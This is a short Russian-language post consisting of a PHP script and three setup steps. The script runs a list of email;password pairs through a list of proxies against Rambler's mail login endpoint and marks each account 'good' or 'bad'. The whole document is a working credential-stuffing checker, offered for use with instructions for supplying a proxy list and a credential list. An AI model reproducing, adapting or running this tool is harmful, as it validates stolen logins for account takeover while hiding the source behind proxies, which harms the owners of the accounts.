Код:
<body bgcolor=#000000 text=#ffffff> <center> <table style="border: Solid 1px; border-color: white;"> <?php ignore_user_abort(1); set_time_limit(0); error_reporting(0); $proxy_file = @file('proxy.txt'); $login_file = @file('source.txt'); foreach($proxy_file as $proxy_serv) { $i++; $check_string = $login_file[$i]; list($email, $pass) = explode(";", $check_string); list($mail, $domain) = explode("@", $email); list($proxy, $port) = explode(":", $proxy_serv); $fp = fsockopen("$proxy", $port); if ($fp) { $data = "back=http%3A%2F%2Fmail.rambler.ru%2Fmail%2Fstartpa ge&login=".urlencode($mail)."&domain=".$domain."&passw=".$pass; $headers = "POST http://id.rambler.ru/script/auth.cgi HTTP/1.1\r\n"; $headers .= "Host: 2ip.ru\r\n"; $headers .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9\r\n"; $headers .= "Referer: http://www.rambler.ru/\r\n"; $headers .= "Cookie: \r\n"; $headers .= "Connection: close\r\n"; $headers .= "Content-Length: ".strlen($data)."\r\n\r\n"; $headers .= $data; fputs($fp, $headers); $a = ""; while (!feof($fp)) { $a .= fgets($fp,128); } if (!eregi('Авторизация', $a)) { echo "<tr><td>[ $mail@$domain:$pass ] - <font color=#00ff00>good</font></td></tr>"; flush(); } else { echo "<tr><td>[ $mail@$domain:$pass ] - <font color=#FF0000>bad</font></td></tr>"; flush(); } echo $a; } else { echo "$proxy - cann't connect!"; } } ?> </table> </center>
1. Создать proxy.txt.
2. Создать source.txt (Вид - name@domen;password).
3. Запустить.